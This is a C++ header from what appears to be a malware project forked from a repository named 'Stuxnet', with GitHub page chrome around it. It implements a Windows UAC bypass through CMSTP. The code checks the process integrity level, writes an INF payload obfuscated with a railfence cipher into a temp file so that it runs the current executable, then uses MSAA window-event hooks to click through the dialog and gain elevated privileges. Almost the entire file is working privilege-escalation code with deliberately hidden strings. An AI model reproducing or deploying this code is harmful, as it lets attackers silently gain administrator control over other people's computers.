forked from pulpocaminante/Stuxnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAutoElevation.hpp
executable file
·353 lines (304 loc) · 11.4 KB
/
AutoElevation.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
#pragma once
#define ESCALATION_API __declspec(dllimport)
#define INTEGRITY_UNKNOWN 0xFF
#define INTEGRITY_NONE 0x00
#define INTEGRITY_LOW 0x01
#define INTEGRITY_MEDIUM 0x02
#define INTEGRITY_HIGH 0x03
#define INTEGRITY_SYSTEM 0x04
#define ULONG_MAX 0xffffffffUL
#define MSGF_SLEEPMSG 0x5300
#include <windows.h>
#include <stdio.h>
#include "phnt_windows.h"
#include "phnt.h"
#include <thread>
#include "Cipher.hpp"
HWINEVENTHOOK exmInitializeMSAA(std::wstring& sPayloadPath);
void exmShutdownMSAA(HWINEVENTHOOK hwekWND);
BOOL CALLBACK exmButtonCallback(HWND _In_ hwnd);
LPVOID GetMainModuleBaseSecure();
void CALLBACK exmHandleWinEvent(
_In_ HWINEVENTHOOK hook,
_In_ DWORD event, _In_ HWND hwnd,
_In_ LONG idObject, _In_ LONG idChild,
_In_ DWORD dwEventThread, _In_ DWORD dwmsEventTime);
// TODO: Add AutoElevation module from Ultron
class AutoElevation
{
public:
BOOL IReady;
AutoElevation(COMWrapper& com_wrapper, Railfence& cipher_class, UACInterface& uac_interface) :
ICom(com_wrapper), ICiph(cipher_class), IUAC(uac_interface), IReady(FALSE)
{
IReady = TRUE;
}
BOOL AutoElevate()
{
// We need to double check we're not
// already running as SYSTEM
// This isn't really necessary but its a solid
// check to make doubly sure we're not already elevated.
// This way we'll avoid any accidental forkbombs if our
// elevation check fails due to an unforeseen WMI security
// context issue
DWORD dwIntegrityLevel = INTEGRITY_UNKNOWN;
ULONG uElevationLevel = IUAC.CheckElevation();
HANDLE hProcess = GetCurrentProcess();
dwIntegrityLevel = GetProcessIntegrityLevel(GetCurrentProcess());
switch (dwIntegrityLevel)
{
case INTEGRITY_SYSTEM:
case INTEGRITY_HIGH:
ILog("Already elevated\n");
break;
case INTEGRITY_MEDIUM:
case INTEGRITY_LOW:
switch (uElevationLevel)
{
case 0x1:
case 0x2:
return TRUE;
case 0x3:
case 0x4:
default:
CMSTPAutoElevate();
break;
}
case INTEGRITY_UNKNOWN:
default:
ILog("Unknown error checking integrity level\n");
break;
}
// If we end up here, we've failed to escalate
return FALSE;
}
private:
DWORD GetProcessIntegrityLevel(HANDLE hProcess)
{
HANDLE hToken;
DWORD dwLengthNeeded;
DWORD dwError = ERROR_SUCCESS;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
LPWSTR pStringSid;
DWORD dwIntegrityLevel;
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
{
// Get the Integrity level.
if (!GetTokenInformation(hToken, TokenIntegrityLevel,
NULL, 0, &dwLengthNeeded))
{
dwError = GetLastError();
if (dwError == ERROR_INSUFFICIENT_BUFFER)
{
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0,
dwLengthNeeded);
if (pTIL != NULL)
{
if (GetTokenInformation(hToken, TokenIntegrityLevel,
pTIL, dwLengthNeeded, &dwLengthNeeded))
{
dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID)
{
CloseHandle(hToken);
// Low Integrity
return INTEGRITY_LOW;
}
else if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
{
CloseHandle(hToken);
// Medium Integrity
return INTEGRITY_MEDIUM;
}
else if (dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID)
{
CloseHandle(hToken);
// High Integrity
return INTEGRITY_HIGH;
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID)
{
CloseHandle(hToken);
// System Integrity
return INTEGRITY_SYSTEM;
}
else
{
CloseHandle(hToken);
return INTEGRITY_UNKNOWN;
}
}
LocalFree(pTIL);
}
}
}
CloseHandle(hToken);
}
return INTEGRITY_UNKNOWN;
}
std::string EncodeUTF8(const std::wstring& wstr)
{
if (wstr.empty()) return std::string();
int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
return strTo;
}
BOOL CMSTPWritePayload(
_Out_ std::wstring& sFilePath)
{
// Write our payload to the disk
// Get the path to the current module
LPWSTR lpFilename = new WCHAR[MAX_PATH];
if (!GetModuleFileName(NULL, lpFilename, MAX_PATH))
{
ILog("Failed to get module filename: %d\n", GetLastError());
return FALSE;
}
// Get the path to the temp folder
LPWSTR lpTempPath = new WCHAR[MAX_PATH];
if (!GetTempPath(MAX_PATH, lpTempPath))
{
ILog("Failed to get temp file path: %d\n", GetLastError());
return FALSE;
}
// Add the temp file name to the path
LPWSTR lpTempFile = new WCHAR[MAX_PATH];
if (!GetTempFileName(lpTempPath, L"tmp", 0, lpTempFile))
{
ILog("Failed to get temp filename: %d\n", GetLastError());
return FALSE;
}
// We use the modified railfence cipher
// because the strings are low entropy
std::wstring lpPayload[] = {
L"[]vneoris",
L"Segir=aogu$c$ntciah",
L"AIddNveF5ac=.n2",
L"[IDtn]elslfutlaa",
L"CsnscUueto=ntetlssDiiCIDSiletmntutetoAroassns",
L"RtnroeueuadPeCmScnSpmsnSpmstPeCm=ueuadinroRtno",
L"[eaiRStmntoueumdcnnrpose]PCS",
lpFilename, // payload location
L"t tFal/sp/slIm. kiMceek x",
L"[ttsCsDciUeuneeolrsIsSnlsttA]",
L"40SS 990UeDe,7041lrIcn0,=l_Dto0ALi",
L"[_tArLcileDeolSISnUD]",
L"\"\"EooeoaG\"il eoH SR\\sfdwrninPtMRE,flal,\"pcrr\"K,OAMotnsrts\\ hM3X oetP\"%xtr%\"L\"FWir\\i\\uVrApsC2E\"rIsahUeeE\" MTcWCep\\.Pntnd,",
L"[]Sstgrni",
L"SayteNmr hreeeltivc=Vein\"i\"gg",
L"SNr hcaeyttovmV ih\"rSe\"lgigt=en"
};
// Open the file for writing
HANDLE hFile = CreateFile(
lpTempFile,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
// Write the file
DWORD dwBytesWritten = 0;
for (auto& line : lpPayload)
{
std::wstring lpdLine;
// If its not the filepath line (which is not enciphered)
if (line != lpFilename)
{
// Decode the line
ICiph.decipher(5, line, lpdLine);
}
else
{
// Use the original line
lpdLine = line;
}
// Change encoding from UTF16 to UTF8
std::string lpdLineUTF8;
lpdLineUTF8 = EncodeUTF8(lpdLine);
// Write the line
if(!WriteFile(hFile, lpdLineUTF8.c_str(), lpdLineUTF8.length(), &dwBytesWritten, NULL))
return FALSE;
if (dwBytesWritten == 0)
return FALSE;
// Add a newline
if (!WriteFile(hFile, "\n", 1, &dwBytesWritten, NULL))
return FALSE;
if (dwBytesWritten == 0)
return FALSE;
}
// File was written
ILog("Successfully wrote payload to disk: %ls\n", lpTempFile);
CloseHandle(hFile);
// Return the path to the file
sFilePath = lpTempFile;
// Cleanup
delete[] lpFilename;
delete[] lpTempPath;
delete[] lpTempFile;
return TRUE;
}
// Hacky but a reliable fallback option that will probably
// never be patched
BOOL CMSTPAutoElevate()
{
// Write the payload to disk
std::wstring sFilePath;
if (!CMSTPWritePayload(sFilePath))
{
ILog("Failed to write payload to disk\n");
return FALSE;
}
// Initialize the windows event hook (AutoEscalation.lib)
HWINEVENTHOOK hwkEvent = exmInitializeMSAA(sFilePath);
MSG msg;
// Setup timeout timer
DWORD dwTimeout = 5000;
DWORD dwStart = GetTickCount();
DWORD dwElapsed;
// Set interprocess event for escalation
const HANDLE hEvent = CreateEvent(0, FALSE, FALSE, L"{REDISTRIBUTED-ADMIN-PRIVS-COMRADE}");
const HANDLE hArray[] = { hEvent };
// While the timer has not elapsed
while ((dwElapsed = GetTickCount() - dwStart) < dwTimeout) {
// Wait for the event to be signaled while pumping messages
DWORD dwStatus = MsgWaitForMultipleObjectsEx(_countof(hArray), hArray,
dwTimeout - dwElapsed, QS_ALLINPUT,
MWMO_INPUTAVAILABLE);
// Event was signaled
if (dwStatus == WAIT_OBJECT_0)
{
ILog("Escalated\n");
ExitThread(0);
}
// Message was received
if (dwStatus != WAIT_OBJECT_0)
{
MSG msg;
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
if (msg.message == WM_QUIT) {
PostQuitMessage((int)msg.wParam);
exmShutdownMSAA(hwkEvent);
ExitThread(0);
}
if (!CallMsgFilter(&msg, MSGF_SLEEPMSG)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
}
exmShutdownMSAA(hwkEvent);
// If we're here, we timed out, so escalation failed
ILog("Timed out waiting for escalation\n");
return FALSE;
}
private:
COMWrapper& ICom;
Railfence ICiph;
UACInterface& IUAC;
};